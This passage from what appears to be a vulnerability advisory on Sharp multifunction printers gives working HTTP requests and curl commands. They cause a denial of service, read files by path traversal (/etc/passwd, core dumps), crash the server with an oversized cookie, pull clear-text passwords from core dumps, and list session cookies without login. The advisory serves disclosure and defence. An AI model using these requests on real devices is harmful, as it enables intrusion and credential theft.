is possible to modify the HTTP request to change<br \/>`curr_page_url=%2Fbillcodedef_sub_sel.html` to<br \/>`curr_page_url=%2Fbillcodedef_sub_sel.html?`. A question mark was<br \/>added after `billcodedef_sub_sel.html`.<\/p>\n<p>The resulting request will be:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The corresponding malicious HTTP request to trigger the DoS is:<\/p>\n<p>POST \/billcodedef_sub_sel.html? HTTP\/1.1<br \/>Host: 10.0.0.1<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:102.0)<br \/>Gecko\/20100101 Firefox\/102.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 406<br \/>Origin: http:\/\/10.0.0.1<br \/>Connection: close<br \/>Referer: http:\/\/10.0.0.1\/billcodedef_sub_sel.html?<br \/>Cookie: MFPSESSIONID=020035B15A47378CF80C6175263F714EEF9118E72A1AA6C9CAC6202305181146331E5FF54;<br \/>sideBarflag=1<br \/>Upgrade-Insecure-Requests: 1<\/p>\n<p>billing_code_def_selWebchg=&amp;action=searchbtn&amp;ordinate=0&amp;token2=AEC039F52DC886D169AC7F977F61D4C61295539BC0A3572B08E37FB291B9A766E238FB699426F67B&amp;ggt_textbox%288%29=test&amp;ggt_textbox%2811%29=&amp;ggt_select%2829%29=1&amp;billing_radio=2%2C&amp;BillingCode%282%2C%29=Not+Set&amp;BillingCodeName%28%29=&amp;ggt_hidden%2839%29=0&amp;ggt_hidden%2840%29=1&amp;ggt_hidden%2844%29=&amp;curr_page_url=%2Fbillcodedef_sub_sel.html?&amp;selBillingCodeName=<\/p>\n<p>We can also reproduce the issue using curl:<\/p>\n<p>kali% curl -i -s -k -X $&#8217;POST&#8217; -H $&#8217;Host: 10.0.0.1&#8242; &#8211;data-binary<br \/>&#8216;curr_page_url=%2Fbillcodedef_sub_sel.html?&#8217;<br \/>&#8216;http:\/\/10.0.0.1\/billcodedef_sub_sel.html&#8217;<\/p>\n<p>On the printer, we can see a crash:<\/p>\n[ 9914.440518] main[18602]: unhandled level 3 translation fault<br \/>(11) at 0x000000d0, esr 0x92000007<br \/>[ 9914.453538] pgd = ffff80082f408000<br \/>[ 9914.456936] [000000d0] *pgd=00000000f9ea6003,<br \/>*pud=00000000f9f6e003, *pmd=00000000f9c0f003, *pte=0000000000000000<\/p>\n[ 9914.468751] CPU: 1 PID: 18602 Comm: main Tainted: P O<br \/>4.1.46-rt52 #2<br \/>[ 9914.476433] Hardware name: LS1043A MFP Board (DT)<br \/>[ 9914.481138] task: ffff80083de6c680 ti: ffff80082cb20000<br \/>task.ti: ffff80082cb20000<br \/>[ 9914.488691] PC is at 0x228fe6c<br \/>[ 9914.491744] LR is at 0x228f820<br \/>[ 9914.494830] pc : [&lt;000000000228fe6c&gt;] lr : [&lt;000000000228f820&gt;]pstate: 600f0010<br \/>[ 9914.502227] sp : 000000007212fd70<br \/>[ 9914.505539] x12: 00000000ffffffff<br \/>[ 9914.508939] x11: 000000007212fdb0 x10: 0000000000000001<br \/>[ 9914.514367] x9 : 0000000091170990 x8 : 0000000000000002<br \/>[ 9914.519683] x7 : 000000007212fd88 x6 : 0000000091172799<br \/>[ 9914.525102] x5 : 0000000000000000 x4 : 0000000000000000<br \/>[ 9914.530417] x3 : 0000000000000000 x2 : 000000007212fdd0<br \/>[ 9914.535764] x1 : 0000000000000061 x0 : 0000000000000000<\/p>\n[ 9914.543566] [BSPIF]bspif_pof_wait:signal receive(-512)<br \/>[ 9914.548702] [BSPIF]bspif_pof_wait:<br \/>[ 9988.116784] Panic : Oops Exit !!! [comm:irq\/20-serial] [user_mode:0]\n<p>With the creation of the corresponding coredump files:<\/p>\n<p>sh-4.3# cd \/mnt\/log &amp;&amp; ls -latr<br \/>[&#8230;]-rw-r&#8211;r&#8211; 1 root root 19133981 May 18 11:48 core-main.log.gz.001<br \/>-rw-r&#8211;r&#8211; 1 root root 0 May 18 11:48 ERR_IFS.log<br \/>-rw-r&#8211;r&#8211; 1 root root 19133981 May 18 11:48 ERR_core-main.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 97230 May 18 11:48 ERR_kern.log<br \/>-rw-r&#8211;r&#8211; 1 root root 0 May 18 11:48 ERR_core-pdl.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 0 May 18 11:48 ERR_log_ui_mainview.log<br \/>-rw-r&#8211;r&#8211; 1 root root 21262 May 18 11:48 ERR_pdl.log<br \/>-rw-r&#8211;r&#8211; 1 root root 315 May 18 11:48 ERR_nf.log<br \/>-rw-r&#8211;r&#8211; 1 root root 314620 May 18 11:48 ERR_main.log<br \/>-rw-r&#8211;r&#8211; 1 root root 97363 May 18 11:48 kern.log.001<br \/>-rw-r&#8211;r&#8211; 1 root root 18653 May 18 11:48 vmstat.log.001<br \/>-rw-r&#8211;r&#8211; 1 root root 377 May 18 11:48 umount.log.001<br \/>-rw-r&#8211;r&#8211; 1 root root 1861 May 18 11:48 slinkerr1.log<br \/>-rw-r&#8211;r&#8211; 1 root root 4582 May 18 11:48 slinkerr0.log<br \/>-rw-r&#8211;r&#8211; 1 root root 45625 May 18 11:48 watch_idle.log<br \/>-rw-r&#8211;r&#8211; 1 root root 314692 May 18 11:49 main.log<br \/>-rw-r&#8211;r&#8211; 1 root root 132 May 18 11:49 bsp.log<br \/>-rw-r&#8211;r&#8211; 1 root root 96435 May 18 11:49 kern.log<br \/>-rw-r&#8211;r&#8211; 1 root root 407 May 18 11:49 vmstat.log<br \/>sh-4.3# date<br \/>Thu May 18 11:50:40 UTC 2023<br \/>sh-4.3# uptime<br \/>11:51:55 up 3 min, 0 users, load average: 1.36, 0.95, 0.40<br \/>sh-4.3#<\/p>\n<p>## Details &#8211; World-readable coredump files and insecure storage of credentials<\/p>\n<p>It was observed that the coredump files located in the Sharp printers<br \/>have incorrect permissions. Any local user can read them. These<br \/>coredump files contain all the clear-text credentials of the users.<\/p>\n<p>Core files present in \/mnt\/log:<\/p>\n<p>sh-4.3# ls -la \/mnt\/log | grep core<br \/>-rw-r&#8211;r&#8211; 1 root root 16120921 May 11 15:18 ERR_core-main.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 0 May 11 15:18 ERR_core-pdl.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz.001<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz.002<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz.001<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz.002<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 SWOFF_core-bcr_iface.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000<br \/>SWOFF_core-bcr_iface.log.gz.001<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000<br \/>SWOFF_core-bcr_iface.log.gz.002<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 SWOFF_core-main.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 SWOFF_core-main.log.gz.001<br \/>&#8230;<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 core-main.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 16120921 May 11 15:18 core-main.log.gz.001<br \/>-rw-r&#8211;r&#8211; 1 root root 13566117 May 11 15:16 core-main.log.gz.002<br \/>-rw-r&#8211;r&#8211; 1 root root 17158453 May 11 15:12 core-main.log.gz.003<br \/>-rw-r&#8211;r&#8211; 1 root root 17332354 May 11 12:32 core-main.log.gz.004<br \/>-rw-r&#8211;r&#8211; 1 root root 20440117 May 11 12:28 core-main.log.gz.005<br \/>-rw-r&#8211;r&#8211; 1 root root 22170528 May 10 11:47 core-main.log.gz.006<br \/>-rw-r&#8211;r&#8211; 1 root root 0 Jan 1 2000 core-main.log.gz.007<br \/>&#8230;<br \/>sh-4.3# cd \/mnt\/log &amp;&amp; ls -la|grep ERR<br \/>-rw-r&#8211;r&#8211; 1 root root 0 May 15 14:11 ERR_IFS.log<br \/>-rw-r&#8211;r&#8211; 1 root root 17316180 May 15 14:11 ERR_core-main.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 0 May 15 14:11 ERR_core-pdl.log.gz<br \/>-rw-r&#8211;r&#8211; 1 root root 97316 May 15 14:11 ERR_kern.log<br \/>-rw-r&#8211;r&#8211; 1 root root 0 May 15 14:11 ERR_log_ui_mainview.log<br \/>-rw-r&#8211;r&#8211; 1 root root 314188 May 15 14:11 ERR_main.log<br \/>-rw-r&#8211;r&#8211; 1 root root 315 May 15 14:11 ERR_nf.log<br \/>-rw-r&#8211;r&#8211; 1 root root 21262 May 15 14:11 ERR_pdl.log<br \/>sh-4.3#<\/p>\n<p>The files are world-readable and contain valid coredump files as shown below:<\/p>\n<p>kali% file core-main.log<br \/>core-main.log: ELF 32-bit LSB core file, ARM, version 1 (SYSV),<br \/>SVR4-style, from &#8216;\/tmp\/main\/main -cpu=1 -stack=8000 -fifo -nosigmask<br \/>-nodlychk&#8217;, real uid: 0, effective uid: 0, real gid: 0, effective<\/p>\n<p>The core file contains in clear-text:<\/p>\n<p>&#8211; &#8211; session IDs;<br \/>&#8211; &#8211; password for all the users (even when the printer booted and no<br \/>user logged into the printer (!));<br \/>&#8211; &#8211; emails;<br \/>&#8211; &#8211; Encryption keys.<\/p>\n<p>For example, some keys:<\/p>\n<p>kali% strings core-main.log|grep -A 4 -B 4 ENCRYPT_KEY<br \/>CloudPollingConst<br \/>VENDOR_KEY<br \/>YiqUwHIymoiuwFPjja04u+Q+zeokggNSuYv4g+axNAIx4vwnnrPmfsFrAsqZr4RFeR6EgwWRvzgledwTz9MZAw==<br \/>TENANT_ENCRYPT_KEY<br \/>GMuQt[REDACTED]\n<p>The core file contains the password (`PASS-PIERRE`) of the admin user<br \/>even when the admin user has not been logged-in the printer since the<br \/>printer booted:<\/p>\n<p>kali% zcat core-main.log.gz.001 | strings | grep PASS-PIERRE<br \/>PASS-PIERRE<\/p>\n<p>All the clear-text passwords can be found inside the core file:<\/p>\n<p>kali% zcat core-main.log.gz.001 | strings | less<br \/>\/mnt\/std01\/ACCBURS\/<br \/>\/mnt\/std04\/ACC\/BROWSER\/BROWSER_NONUSR<br \/>\/mnt\/std01\/ACC\/AccBackUp\/BROWSER_NONUSR<br \/>\/mnt\/std01\/ACC\/AccUserInfo<br \/>\/mnt\/std04\/ACC<br \/>\/mnt\/std01\/ACC\/AccUserInfo2<br \/>\/mnt\/std04\/ACC\/BROWSER<br \/>\/mnt\/std01\/ACC\/AccGrpPrmtInfo<br \/>\/mnt\/std01\/ACCBURS<br \/>\/mnt\/std01\/ACC\/AccFlashUserCounter<br \/>\/mnt\/std01\/ACC\/AccFlashBackUp<br \/>\/mnt\/std01\/ACC\/AccTotalPix<br \/>\/mnt\/std01\/ACC\/AccBackUp\/JobInfo<br \/>Other User<br \/>Other<br \/>Vender<br \/>Vender<br \/>Administrator<br \/>admin<br \/>PASS-PIERRE &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- clear-text password for admin<br \/>Service<br \/>service<br \/>service<br \/>User<br \/>users<br \/>users<br \/>Vender2<br \/>Vender2<br \/>FSS User<br \/>servicefss<br \/>servicefss<br \/>System Operator<br \/>sysadmin<br \/>sysadmin<br \/>Device Account<br \/>deviceaccount<br \/>deviceaccount<br \/>\/mnt\/std01\/ACC\/AccGrpHomeInfo<br \/>\/mnt\/std01\/ACC\/AccBackUp<br \/>\/mnt\/std01\/ACC<br \/>\/mnt\/std01\/ACC\/AccUserPixel<br \/>\/mnt\/std01\/ACC\/BROWSER<br \/>\/mnt\/std01\/ACC\/AccGrpCstmInfo<\/p>\n<p>There is no encryption for the \/mnt\/log partition:<\/p>\n<p>sh-4.3# df -h \/mnt\/log<br \/>Filesystem Size Used Avail Use% Mounted on<br \/>\/dev\/mmcblk0p3 791M 145M 589M 20% \/mnt\/log<br \/>sh-4.3#<\/p>\n<p>All the passwords can be found inside the core file after the printer<br \/>just booted and no user logged: this is abnormal and shows the<br \/>authentication mechanism is incorrectly implemented.<\/p>\n<p>A local attacker can extract all the passwords.<\/p>\n<p>A remote attacker using an additional vulnerability (e.g. Local File<br \/>Inclusion) can recover all the passwords and compromise the printer<br \/>(see the next vulns).<\/p>\n<p>## Details &#8211; Arbitrary Directory Listing without authentication<\/p>\n<p>It was observed that Sharp printers are vulnerable to an arbitrary<br \/>directory listing without authentication. Any attacker can list any<br \/>directory located in the printer and recover any file.<\/p>\n<p>It is possible to list the manual index files by visiting the<br \/>`\/installed_emanual_list.html` without authentication:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>By changing the folder argument in the address, it is possible to<br \/>browse the entire file systems of the printer.<\/p>\n<p>Request to `installed_emanual_list.html?folder=..\/..\/..\/` will list<br \/>the `\/` file system:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>Files located in \/etc:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>Using the vulnerability [Local File Inclusion allowing to read any<br \/>file (e.g. Coredump files), it is then possible to download any file.<\/p>\n<p>An attacker can browse the file systems of the printers and download any file.<\/p>\n<p>A remote attacker can recover all the passwords by downloading<br \/>coredump files and compromise the printer.<\/p>\n<p>## Details &#8211; Local File Inclusion allowing to read any file (e.g.<br \/>Coredump files) without authentication<\/p>\n<p>It was observed that Sharp printers are vulnerable to a local file<br \/>inclusion without authentication. Any attacker can read any file<br \/>located in the printer.<\/p>\n<p>Normal request to retrieve the manual index files:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>By default, the manual index files are located in \/mnt\/std_data\/manual<br \/>inside the printer:<\/p>\n<p>sh-4.3# pwd<br \/>\/mnt\/std_data\/manual<br \/>sh-4.3# ls -la MX-M4071_inch_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 1564 Jul 30 2020 MX-M4071_inch_web.idx<br \/>sh-4.3# ls -la<br \/>total 233<br \/>drwxrwxr-x 4 1000 pulse 2536 Jul 31 2020 .<br \/>drwxr-xr-x 9 root root 4096 Mar 1 2022 ..<br \/>-rw-rw-r&#8211; 1 1000 pulse 1564 Jul 30 2020 MX-M2651_ab_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 562 Jul 30 2020 MX-M2651_aus_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 1564 Jul 30 2020 MX-M2651_canada_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 9590 Jul 30 2020 MX-M2651_europe_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 1564 Jul 30 2020 MX-M2651_inch_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 562 Jul 30 2020 MX-M2651_uk_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 1564 Jul 30 2020 MX-M2651_usa_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 1564 Jul 30 2020 MX-M3051_ab_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 562 Jul 30 2020 MX-M3051_aus_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 1564 Jul 30 2020 MX-M3051_canada_web.idx<br \/>-rw-rw-r&#8211; 1 1000 pulse 9590 Jul 30 2020 MX-M3051_europe_web.idx<\/p>\n<p>The normal request is:<\/p>\n<p>GET \/installed_emanual_down.html?path=\/manual\/MX-M4071_inch_web.idx<br \/>HTTP\/1.1<br \/>Host: 10.0.0.1<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:102.0)<br \/>Gecko\/20100101 Firefox\/102.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate<br \/>Connection: close<br \/>Upgrade-Insecure-Requests: 1<\/p>\n<p>The `path=` argument can be manipulated to retrieve any file in the<br \/>printer. The session cookie is not required as this vulnerability does<br \/>not require authentication:<\/p>\n<p>For example, retrieving \/etc\/passwd:<\/p>\n<p>GET \/installed_emanual_down.html?path=\/manual\/..\/..\/..\/etc\/passwd HTTP\/1.1<br \/>Host: 10.0.0.1<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:102.0)<br \/>Gecko\/20100101 Firefox\/102.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate<br \/>Connection: close<br \/>Upgrade-Insecure-Requests: 1<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>It is possible to generate a coredump file, download it and extract<br \/>credentials to remotely compromise the printer without credentials<br \/>using this vulnerability along with the vulnerabilities:<\/p>\n<p>&#8211; &#8211; Invalid (0x000000d0) pointer dereference &#8211; Remote DoS without authentication<br \/>&#8211; &#8211; Memory corruption in the main program &#8211; Remote Code Execution<br \/>against the web server without authentication<br \/>&#8211; &#8211; World-readable coredump files and insecure storage of credentials<\/p>\n<p>### Generation of the coredump file on the printer<\/p>\n<p>Using the HTTP request:<\/p>\n<p>kali% var=`perl -e &#8220;print &#8216;A&#8217;x639&#8243;`; curl -v -b<br \/>&#8220;MFPSESSIONID=${var}EDCB&#8221; http:\/\/10.0.0.1\/system.html<br \/>* Trying 10.0.0.1:80&#8230;<br \/>* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br \/>&gt; GET \/system.html HTTP\/1.1<br \/>&gt; Host: 10.0.0.1<br \/>&gt; User-Agent: curl\/7.88.1<br \/>&gt; Accept: *\/*<br \/>&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<br \/>&gt;<\/p>\n<p>### Local File Inclusion of the coredump file<\/p>\n<p>We download the coredump file using the Local File Inclusion:<\/p>\n<p>kali% curl -i -s -k -X $&#8217;GET&#8217; \\<br \/>-H $&#8217;Host: 10.0.0.1&#8242; -H $&#8217;User-Agent: Mozilla\/5.0 (X11; Linux<br \/>x86_64; rv:102.0) Gecko\/20100101 Firefox\/102.0&#8242; -H $&#8217;Accept:<br \/>text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8&#8242;<br \/>-H $&#8217;Accept-Language: en-US,en;q=0.5&#8242; -H $&#8217;Accept-Encoding: gzip,<br \/>deflate&#8217; -H $&#8217;Connection: close&#8217; -H $&#8217;Upgrade-Insecure-Requests: 1&#8242; \\<br \/>$&#8217;http:\/\/10.0.0.1\/installed_emanual_down.html?path=\/manual\/..\/..\/..\/mnt\/log\/core-main.log.gz.001&#8242;<br \/>&gt; core-main.log.gz.001<br \/>kali% ls -la<br \/>total 16920<br \/>drwx&#8212;&#8212; 2 user user 4096 May 15 10:13 .<br \/>drwx&#8212;&#8212; 6 user user 4096 May 15 10:13 ..<br \/>-rw&#8212;&#8212;- 1 user user 17316455 May 15 10:13 core-main.log.gz.001<br \/>kali% head -n 9 core-main.log.gz.001<br \/>HTTP\/1.1 200 OK<br \/>Server: Rapid Logic\/1.1<br \/>MIME-version: 1.0<br \/>Date: Thu Jan 1 00:02:12 1970 GMT<br \/>Content-Type: application\/octet-stream; name=core-main.log.gz.001<br \/>Content-disposition: attachment; filename=core-main.log.gz.001<br \/>Content-Length: 17316180<br \/>Connection: close<\/p>\n<p>We remove the first 9 lines from the core file (corresponding to HTTP<br \/>headers) to generate a valid gzip file:<\/p>\n<p>kali% vi core-main.log.gz.001<br \/>kali% file core-main.log.gz.001<br \/>core-main.log.gz.001: gzip compressed data, last modified: Mon May<br \/>15 14:09:45 2023, from Unix, original size modulo 2^32 176379936 gzip<br \/>compressed data, reserved method, ASCII, has CRC, has comment,<br \/>encrypted, from FAT filesystem (MS-DOS, OS\/2, NT), original size<br \/>modulo 2^32 176379936<br \/>kali%<\/p>\n<p>### Retrieve of credentials using the coredump files<\/p>\n<p>The core file contains the password (`PASS-PIERRE`) of the admin user<br \/>even when the admin user has not been logged-in to the printer since<br \/>the printer booted:<\/p>\n<p>All the passwords can be found inside the core file, located near the<br \/>`admin` string:<\/p>\n<p>kali% zcat core-main.log.gz.001 | strings | less<br \/>\/mnt\/std01\/ACCBURS\/<br \/>\/mnt\/std04\/ACC\/BROWSER\/BROWSER_NONUSR<br \/>\/mnt\/std01\/ACC\/AccBackUp\/BROWSER_NONUSR<br \/>\/mnt\/std01\/ACC\/AccUserInfo<br \/>\/mnt\/std04\/ACC<br \/>\/mnt\/std01\/ACC\/AccUserInfo2<br \/>\/mnt\/std04\/ACC\/BROWSER<br \/>\/mnt\/std01\/ACC\/AccGrpPrmtInfo<br \/>\/mnt\/std01\/ACCBURS<br \/>\/mnt\/std01\/ACC\/AccFlashUserCounter<br \/>\/mnt\/std01\/ACC\/AccFlashBackUp<br \/>\/mnt\/std01\/ACC\/AccTotalPix<br \/>\/mnt\/std01\/ACC\/AccBackUp\/JobInfo<br \/>Other User<br \/>Other<br \/>Vender<br \/>Vender<br \/>Administrator<br \/>admin<br \/>PASS-PIERRE &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; clear-text password for admin<br \/>Service<br \/>service<br \/>service<br \/>User<br \/>users<br \/>users<br \/>Vender2<br \/>Vender2<br \/>FSS User<br \/>servicefss<br \/>servicefss<br \/>System Operator<br \/>sysadmin<br \/>sysadmin<br \/>Device Account<br \/>deviceaccount<br \/>deviceaccount<br \/>\/mnt\/std01\/ACC\/AccGrpHomeInfo<br \/>\/mnt\/std01\/ACC\/AccBackUp<br \/>\/mnt\/std01\/ACC<br \/>\/mnt\/std01\/ACC\/AccUserPixel<br \/>\/mnt\/std01\/ACC\/BROWSER<br \/>\/mnt\/std01\/ACC\/AccGrpCstmInfo<\/p>\n<p>### Retrieve of credentials using configuration files<\/p>\n<p>The configuration files containing the credentials can be found in the<br \/>\/mnt\/std04\/DBMS\/uaccnt.<\/p>\n<p>When a password is updated, the files present in<br \/>`\/mnt\/std04\/DBMS\/uaccnt\/*` will be updated. It is possible to retrieve<br \/>some credentials from these files:<\/p>\n<p>sh-4.3# pwd<br \/>\/mnt\/std04\/DBMS\/uaccnt<br \/>sh-4.3# hexdump -C 9.01<br \/>00000000 ff ff ff bf ff ff ff ff ff ff ff ff ff ff ff ff<br \/>|&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>00000010 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br \/>|&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>[&#8230;]00005010 61 64 6d 69 6e 02 00 00 00 00 d0 00 00 64 65 76<br \/>|admin&#8230;&#8230;..dev|<br \/>00005020 69 63 65 61 63 63 6f 75 6e 74 09 00 00 00 00 50<br \/>|iceaccount&#8230;..P|<br \/>00005030 00 00 4f 74 68 65 72 01 00 00 00 00 70 00 00 73<br \/>|..Other&#8230;..p..s|<br \/>00005040 65 72 76 69 63 65 04 00 00 00 07 30 00 00 66 73<br \/>|ervice&#8230;..0..fs|<br \/>00005050 73 07 00 00 00 01 70 00 00 79 73 61 64 6d 69 6e<br \/>|s&#8230;..p..ysadmin|<br \/>00005060 08 00 00 00 00 50 00 00 75 73 65 72 73 05 00 00<br \/>|&#8230;..P..users&#8230;|<br \/>00005070 00 00 60 00 00 56 65 6e 64 65 72 03 00 00 00 06<br \/>|..`..Vender&#8230;..|<br \/>00005080 10 00 00 32 06 00 00 00 00 00 00 00 00 00 00 00<br \/>|&#8230;2&#8230;&#8230;&#8230;&#8230;|<br \/>00005090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br \/>|&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>[&#8230;]sh-4.3#<\/p>\n<p>An attacker can download these files and analyze them to retrieve the passwords.<\/p>\n<p>## Details &#8211; Backdoor webpage &#8211; Listing of session cookies without<br \/>authentication<\/p>\n<p>It was observed that Sharp printers are vulnerable to a listing of<br \/>session cookies without authentication. Any attacker can list valid<br \/>cookies by visiting a backdoor webpage and use them to authenticate to<br \/>the printers.<\/p>\n<p>It is possible to list the `MFPSESSIONID` session cookies by visiting<br \/>the `\/sessionlist.html` webpage without authentication:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>It is also possible to use curl from another machine:<\/p>\n<p>kali% curl -kv http:\/\/10.0.0.1\/sessionlist.html<br \/>[&#8230;]&lt;h2&gt;Session list&lt;\/h2&gt;<br \/>&lt;table class=&#8221;matrix&#8221;&gt;<br \/>&lt;tr&gt;<br \/>&lt;th&gt;No.&lt;\/th&gt;<br \/>&lt;th&gt;User&lt;\/th&gt;<br \/>&lt;th&gt;From&lt;\/th&gt;<br \/>&lt;th&gt;Last login&lt;\/th&gt;<br \/>&lt;th&gt;Last access&lt;\/th&gt;<br \/>&lt;th&gt;Language ID&lt;\/th&gt;<br \/>&lt;th&gt;Cookie&lt;\/th&gt;<br \/>&lt;\/tr&gt;<br \/>&lt;tr&gt;<br \/>&lt;td&gt;0000&lt;\/td&gt;<br \/>&lt;td&gt;Administrator&lt;\/td&gt;<br \/>&lt;td&gt;10.0.0.10&lt;\/td&gt;<br \/>&lt;td&gt;2023\/05\/16(Tue) 13:35:38&lt;\/td&gt;<br \/>&lt;td&gt;2023\/05\/16(Tue) 13:35:38&lt;\/clearTOStd&gt;<br \/>&lt;td&gt;02&lt;\/td&gt;<\/p>\n<p>&lt;td&gt;MFPSESSIONID=0200736B459709ABA789505BF27D765756D39B82B7ADE25E302820230516133538428B5C9D&lt;\/td&gt;<br \/>&lt;\/tr&gt;<br \/>&lt;\/table&gt;<br \/>[&#8230;]\n<p>An attacker can retrieve valid session cookies and compromise the printer.<\/p>\n<p>Note that a victim user must have been logged inside the printer prior<br \/>to this attack in order to retrieve the corresponding session cookies.<\/p>\n<p>## Details &#8211; Configuration webpages reachable without authentication<\/p>\n<p>It was observed that some authenticated webpages are reachable without<br \/>authentication on Sharp printers. Any attacker can modify parameters<br \/>on these webpages without authentication.<\/p>\n<p>A list of webpages supposed to require authentication but reachable<br \/>without authentication is listed below:<\/p>\n<p>&#8211; &#8211; \/address_smime_install.html<br \/>&#8211; &#8211; \/send_fax_fcode_entry.html<br \/>&#8211; &#8211; \/send_fax_fcode_entry_relay.html<br \/>&#8211; &#8211; \/send_fax_fcode.html<br \/>&#8211; &#8211; \/send_inbound_address_entry.html<br \/>&#8211; &#8211; \/send_inbound_entry.html<br \/>&#8211; &#8211; \/send_inbound.html<br \/>&#8211; &#8211; \/send_receive_fw.html<br \/>&#8211; &#8211; \/printer_ps.html<\/p>\n<p>For example, `\/printer_ps.html`:<\/p>\n[please use the HTML version at<br 